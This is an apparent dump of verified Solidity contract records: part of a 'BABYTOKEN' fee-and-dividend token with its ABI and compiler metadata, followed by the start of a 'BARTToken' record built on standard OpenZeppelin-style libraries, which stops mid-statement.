_setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(address(0xdead)); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(_marketingWalletAddress, true); excludeFromFees(address(this), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.baby, VERSION); payable(serviceFeeReceiver_).transfer(serviceFee_); } receive() external payable {} function setSwapTokensAtAmount(uint256 amount) external onlyOwner { swapTokensAtAmount = amount; } function updateDividendTracker(address newAddress) public onlyOwner { require( newAddress != address(dividendTracker), "BABYTOKEN: The dividend tracker already has that address" ); BABYTOKENDividendTracker newDividendTracker = BABYTOKENDividendTracker( payable(newAddress) ); require( newDividendTracker.owner() == address(this), "BABYTOKEN: The new dividend tracker must be owned by the BABYTOKEN token contract" ); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(this)); newDividendTracker.excludeFromDividends(owner()); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); emit UpdateDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require( newAddress != address(uniswapV2Router), "BABYTOKEN: The router already has that address" ); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); uniswapV2Pair = _uniswapV2Pair; } function excludeFromFees(address account, bool excluded) public onlyOwner { require( _isExcludedFromFees[account] != excluded, "BABYTOKEN: Account is already the value of 'excluded'" ); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees( address[] calldata accounts, bool excluded ) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setMarketingWallet(address payable wallet) external onlyOwner { _marketingWalletAddress = wallet; } function setTokenRewardsFee(uint256 value) external onlyOwner { tokenRewardsFee = value; totalFees = tokenRewardsFee.add(liquidityFee).add(marketingFee); require(totalFees <= 25, "Total fee is over 25%"); } function setLiquiditFee(uint256 value) external onlyOwner { liquidityFee = value; totalFees = tokenRewardsFee.add(liquidityFee).add(marketingFee); require(totalFees <= 25, "Total fee is over 25%"); } function setMarketingFee(uint256 value) external onlyOwner { marketingFee = value; totalFees = tokenRewardsFee.add(liquidityFee).add(marketingFee); require(totalFees <= 25, "Total fee is over 25%"); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "BABYTOKEN: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require( automatedMarketMakerPairs[pair] != value, "BABYTOKEN: Automated market maker pair is already set to that value" ); automatedMarketMakerPairs[pair] = value; if (value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function updateGasForProcessing(uint256 newValue) public onlyOwner { require( newValue >= 200000 && newValue <= 500000, "BABYTOKEN: gasForProcessing must be between 200,000 and 500,000" ); require( newValue != gasForProcessing, "BABYTOKEN: Cannot update gasForProcessing to same value" ); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getClaimWait() external view returns (uint256) { return dividendTracker.claimWait(); } function updateMinimumTokenBalanceForDividends(uint256 amount) external onlyOwner { dividendTracker.updateMinimumTokenBalanceForDividends(amount); } function getMinimumTokenBalanceForDividends() external view returns (uint256) { return dividendTracker.minimumTokenBalanceForDividends(); } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns (uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function excludeFromDividends(address account) external onlyOwner { dividendTracker.excludeFromDividends(account); } function isExcludedFromDividends(address account) public view returns (bool) { return dividendTracker.isExcludedFromDividends(account); } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256 ) { return dividendTracker.getAccount(account); } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256 ) { return dividendTracker.getAccountAtIndex(index); } function processDividendTracker(uint256 gas) external { ( uint256 iterations, uint256 claims, uint256 lastProcessedIndex ) = dividendTracker.process(gas); emit ProcessedDividendTracker( iterations, claims, lastProcessedIndex, false, gas, tx.origin ); } function claim() external { dividendTracker.processAccount(payable(msg.sender), false); } function getLastProcessedIndex() external view returns (uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns (uint256) { return dividendTracker.getNumberOfTokenHolders(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !swapping && !automatedMarketMakerPairs[from] && from != owner() && to != owner() ) { swapping = true; uint256 marketingTokens = contractTokenBalance .mul(marketingFee) .div(totalFees); swapAndSendToFee(marketingTokens); uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div( totalFees ); swapAndLiquify(swapTokens); uint256 sellTokens = balanceOf(address(this)); swapAndSendDividends(sellTokens); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if (takeFee) { uint256 fees = amount.mul(totalFees).div(100); if (automatedMarketMakerPairs[to]) { fees += amount.mul(1).div(100); } amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if (!swapping) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns ( uint256 iterations, uint256 claims, uint256 lastProcessedIndex ) { emit ProcessedDividendTracker( iterations, claims, lastProcessedIndex, true, gas, tx.origin ); } catch {} } } function swapAndSendToFee(uint256 tokens) private { uint256 initialCAKEBalance = IERC20(rewardToken).balanceOf( address(this) ); swapTokensForCake(tokens); uint256 newBalance = (IERC20(rewardToken).balanceOf(address(this))).sub( initialCAKEBalance ); IERC20(rewardToken).transfer(_marketingWalletAddress, newBalance); } function swapAndLiquify(uint256 tokens) private { // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapTokensForCake(uint256 tokenAmount) private { address[] memory path = new address[](3); path[0] = address(this); path[1] = uniswapV2Router.WETH(); path[2] = rewardToken; _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function swapAndSendDividends(uint256 tokens) private { swapTokensForCake(tokens); uint256 dividends = IERC20(rewardToken).balanceOf(address(this)); bool success = IERC20(rewardToken).transfer( address(dividendTracker), dividends ); if (success) { dividendTracker.distributeCAKEDividends(dividends); emit SendDividends(tokens, dividends); } } }

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BABYTOKENDividendTracker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromDividends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gasForProcessing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getAccountDividendsInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getAccountDividendsInfoAtIndex","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getClaimWait","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLastProcessedIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinimumTokenBalanceForDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNumberOfDividendTokenHolders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalDividendsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromDividends","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"}],"name":"processDividendTracker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setLiquiditFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"wallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setTokenRewardsFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenRewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"claimWait","type":"uint256"}],"name":"updateClaimWait","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateDividendTracker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"updateGasForProcessing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMinimumTokenBalanceForDividends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateUniswapV2Router","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"withdrawableDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.4+commit.c7e474f2

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Default

MIT

ipfs://0543b0af3d999f61068ae73dcb4df8aa4822607175c7d0aea3d0a8872afca67a

BARTToken

BARTToken.sol

0x54c9ea2e9c9e8ed865db4a4ce6711c2a0d5063ba

Solidity

pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole 